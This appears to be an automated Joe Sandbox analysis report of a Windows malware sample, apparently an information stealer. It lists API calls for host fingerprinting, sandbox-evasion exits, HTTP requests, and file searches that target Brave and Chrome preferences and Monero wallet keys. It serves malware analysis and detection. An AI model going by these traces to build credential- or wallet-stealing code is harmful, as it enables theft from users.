Part of subcall function 00DF78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00DF792F

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00838AE8,?,00E0110C,?,00000000,?,00E01110,?,00000000,00E00AEF), ref: 00DF6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00DF6AE8
CloseHandle.KERNEL32(00000000), ref: 00DF6AF9
Sleep.KERNEL32(00001770), ref: 00DF6B04
CloseHandle.KERNEL32(?,00000000,?,00838AE8,?,00E0110C,?,00000000,?,00E01110,?,00000000,00E00AEF), ref: 00DF6B1A
ExitProcess.KERNEL32 ref: 00DF6B22

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 5b4e27818a69aa005a35e791c877479305493ca5731c881276e699cbdef3d54d
Instruction ID: 0a1bc0551e240922864c0483e7bac509a0741df9ddf694739a3975680913dea2
Opcode Fuzzy Hash: 5b4e27818a69aa005a35e791c877479305493ca5731c881276e699cbdef3d54d
Instruction Fuzzy Hash: 33311AB0A0020CAADB14FBE4D856BFE7738EF04340F558528F746A6585DFB46A05CBB6

Function 00DE1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00DE123E
__aulldiv.LIBCMT ref: 00DE1258
__aulldiv.LIBCMT ref: 00DE1266
ExitProcess.KERNEL32 ref: 00DE1294

Strings

@, xrefs: 00DE1233

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 7429e0d3aa74132e123e3a07f82effc272f9099ac3c898946abd461a3c0efebc
Instruction ID: 52d2796ee8b1e690762d989eaecef1d1e16b0a8596825505437dc55bbd92c06a
Opcode Fuzzy Hash: 7429e0d3aa74132e123e3a07f82effc272f9099ac3c898946abd461a3c0efebc
Instruction Fuzzy Hash: 4E014FB4A40348EADB10EBD5CC4ABADB778EB14701F248044E705B6180D6745545876D

Function 00DF6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00838AE8,?,00E0110C,?,00000000,?,00E01110,?,00000000,00E00AEF), ref: 00DF6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00DF6AE8
CloseHandle.KERNEL32(00000000), ref: 00DF6AF9
Sleep.KERNEL32(00001770), ref: 00DF6B04
CloseHandle.KERNEL32(?,00000000,?,00838AE8,?,00E0110C,?,00000000,?,00E01110,?,00000000,00E00AEF), ref: 00DF6B1A
ExitProcess.KERNEL32 ref: 00DF6B22

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 156f17488948e83f23429fa38d0a442716a49feed983da466a42606560be1e4e
Instruction ID: 3e0108aea8969ebf7f9e2e3e0620b6b33698e1c4fecdb1dcbe119ef16b602b5b
Opcode Fuzzy Hash: 156f17488948e83f23429fa38d0a442716a49feed983da466a42606560be1e4e
Instruction Fuzzy Hash: 2BF03A70A4020DEEE720AFA09C0ABBD7A34FB04701F25C514FB47A2985CBB59540DA75

Function 00DE47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00DE4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00DE4849

Strings

<, xrefs: 00DE47C9

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 4e6857663d23f0b1863d7b0a59ee550d48216493039778df99bb7e876f298d99
Instruction ID: 8a7c87730667829017bdf67b6e8d1e08c9453ee098f0a24014299e99f53cf263
Opcode Fuzzy Hash: 4e6857663d23f0b1863d7b0a59ee550d48216493039778df99bb7e876f298d99
Instruction Fuzzy Hash: 6D211FB1D00209ABDF14DFA4E845AEE7B75FF45320F108625FA55A72C0EB746A09CF91

Function 00DF51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00DFA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DFA7E6

Part of subcall function 00DE6280: InternetOpenA.WININET(00E00DFE,00000001,00000000,00000000,00000000), ref: 00DE62E1
Part of subcall function 00DE6280: StrCmpCA.SHLWAPI(?,00840B30), ref: 00DE6303
Part of subcall function 00DE6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00DE6335
Part of subcall function 00DE6280: HttpOpenRequestA.WININET(00000000,GET,?,00840030,00000000,00000000,00400100,00000000), ref: 00DE6385
Part of subcall function 00DE6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00DE63BF
Part of subcall function 00DE6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00DE63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00DF5228

Strings

ERROR, xrefs: 00DF521A
ERROR, xrefs: 00DF5273

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 11fa6535237faafe645e9c73abaf81ddd6c0f5b547c04f95f826be6b58b38728
Instruction ID: 8299f482215c091760ec78914c1c55964bc9f5ce4960a9e24ec80778791d32ef
Opcode Fuzzy Hash: 11fa6535237faafe645e9c73abaf81ddd6c0f5b547c04f95f826be6b58b38728
Instruction Fuzzy Hash: 69110AB090014CAACB14FF68D952AFD7338EF50340F41C158FA0E5A596EF70AB0AC6B1

Function 00DE1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00DE112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00DE1132
ExitProcess.KERNEL32 ref: 00DE1143

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 006a2a3027303f024b81575af62aff2fd5a91c2432c521e7297b1fec1faacdde
Instruction ID: cd3d264b999ae83080c3c26c25ed3f10978f10a5358405ae3fa051df80d7cb73
Opcode Fuzzy Hash: 006a2a3027303f024b81575af62aff2fd5a91c2432c521e7297b1fec1faacdde
Instruction Fuzzy Hash: 95E0E674B45348FFE7306FA19C0AB0D7678EB04B01F204055F709B75C4DAF9264097A9

Function 00DE10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00DE10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00DE10F7

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 5effc5ef2d8bbc05047399315e778d4869b560db53a6114a07da9b2c871f80d4
Instruction ID: c377df6434874f4081a25bf0665ab8614473a71cd170f93be9ddc10e015e77fc
Opcode Fuzzy Hash: 5effc5ef2d8bbc05047399315e778d4869b560db53a6114a07da9b2c871f80d4
Instruction Fuzzy Hash: E0F0E971741208BBE7249AA49C49FBAB7DCE705B15F300444F544E3280D5729E00DB64

Function 00DE1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00DF78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DF7910
Part of subcall function 00DF78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00DF7917
Part of subcall function 00DF78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00DF792F

Part of subcall function 00DF7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00DE11B7), ref: 00DF7880
Part of subcall function 00DF7850: RtlAllocateHeap.NTDLL(00000000), ref: 00DF7887
Part of subcall function 00DF7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00DF789F

ExitProcess.KERNEL32 ref: 00DE11C6

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: f4b92cb80c78a9f42a3a7001d3d8dfc495f5c6880c0a0199eb9a235b1b1d7d63
Instruction ID: ab1d251a089515670c8e74e2fca8508880186640dc2458443640521f24c8d3ba
Opcode Fuzzy Hash: f4b92cb80c78a9f42a3a7001d3d8dfc495f5c6880c0a0199eb9a235b1b1d7d63
Instruction Fuzzy Hash: 14E012B5B1430997CF347BB1AC0AB3A329CDB14385F194424FB09D3602FE2AE8509679

Non-executed Functions

Function 00DF38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00DF38CC
FindFirstFileA.KERNEL32(?,?), ref: 00DF38E3
lstrcat.KERNEL32(?,?), ref: 00DF3935
StrCmpCA.SHLWAPI(?,00E00F70), ref: 00DF3947
StrCmpCA.SHLWAPI(?,00E00F74), ref: 00DF395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00DF3C67
FindClose.KERNEL32(000000FF), ref: 00DF3C7C

Strings

%s\*, xrefs: 00DF38C0
%s\%s\%s, xrefs: 00DF3A4A
%s%s, xrefs: 00DF3AAD
%s\%s, xrefs: 00DF397A
%s\%s, xrefs: 00DF3A6F

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: f1e6290e2fc369efdad92a24caa63f84ba2f40b313b55d29c4bfeb48040d8186
Instruction ID: f92c9dc85cb33f9e1e48e1dbe2828f98cd93b49ed44fa7524a8fd676ee7182f6
Opcode Fuzzy Hash: f1e6290e2fc369efdad92a24caa63f84ba2f40b313b55d29c4bfeb48040d8186
Instruction Fuzzy Hash: 21A12DB1A00219ABDB34EF64DC85FFA7378FB48300F058588E64E96545EB759B84CF62

Function 00DEBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00DFA740: lstrcpy.KERNEL32(00E00E17,00000000), ref: 00DFA788

Part of subcall function 00DFA920: lstrcpy.KERNEL32(00000000,?), ref: 00DFA972
Part of subcall function 00DFA920: lstrcat.KERNEL32(00000000), ref: 00DFA982

Part of subcall function 00DFA9B0: lstrlen.KERNEL32(?,00838998,?,\Monero\wallet.keys,00E00E17), ref: 00DFA9C5
Part of subcall function 00DFA9B0: lstrcpy.KERNEL32(00000000), ref: 00DFAA04
Part of subcall function 00DFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DFAA12

Part of subcall function 00DFA8A0: lstrcpy.KERNEL32(?,00E00E17), ref: 00DFA905

FindFirstFileA.KERNEL32(00000000,?,00E00B32,00E00B2B,00000000,?,?,?,00E013F4,00E00B2A), ref: 00DEBEF5
StrCmpCA.SHLWAPI(?,00E013F8), ref: 00DEBF4D
StrCmpCA.SHLWAPI(?,00E013FC), ref: 00DEBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00DEC7BF
FindClose.KERNEL32(000000FF), ref: 00DEC7D1

Strings

\Brave\Preferences, xrefs: 00DEC1DB
Google Chrome, xrefs: 00DEC634
Brave, xrefs: 00DEC102
Preferences, xrefs: 00DEC11E

Memory Dump Source

Source File: 00000000.00000002.2255212826.0000000000DE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00DE0000, based on PE: true

Associated: 00000000.00000002.2255196245.0000000000DE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000E9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.0000000000EC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255212826.000000000102A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.000000000103E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000011C1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255396980.00000000012E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255695540.00000000012E2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255836687.0000000001480000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255853576.0000000001481000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_de0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 4457c7ccdd77a548dea6bcb03aff6c06d2b6f9c4574517f70cce42385ad7e56f
Instruction ID: eb3bcdae0a022a120b09685673cd1bc2d7804caa9997727199a3cbffc4fed535
Opcode Fuzzy Hash: 4457c7ccdd77a548dea6bcb03aff6c06d2b6f9c4574517f70cce42385ad7e56f
Instruction Fuzzy Hash: DD4243B19101089BCB14FB64DC56EFE7379EF44300F418558FA0E96195EE74AB49CBB2

Function 00DF4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00DF492C
FindFirstFileA.KERNEL32(?,?), ref: 00DF4943
StrCmpCA.SHLWAPI(?,00E00FDC), ref: 00DF4971
StrCmpCA.SHLWAPI(?,00E00FE0), ref: 00DF4987
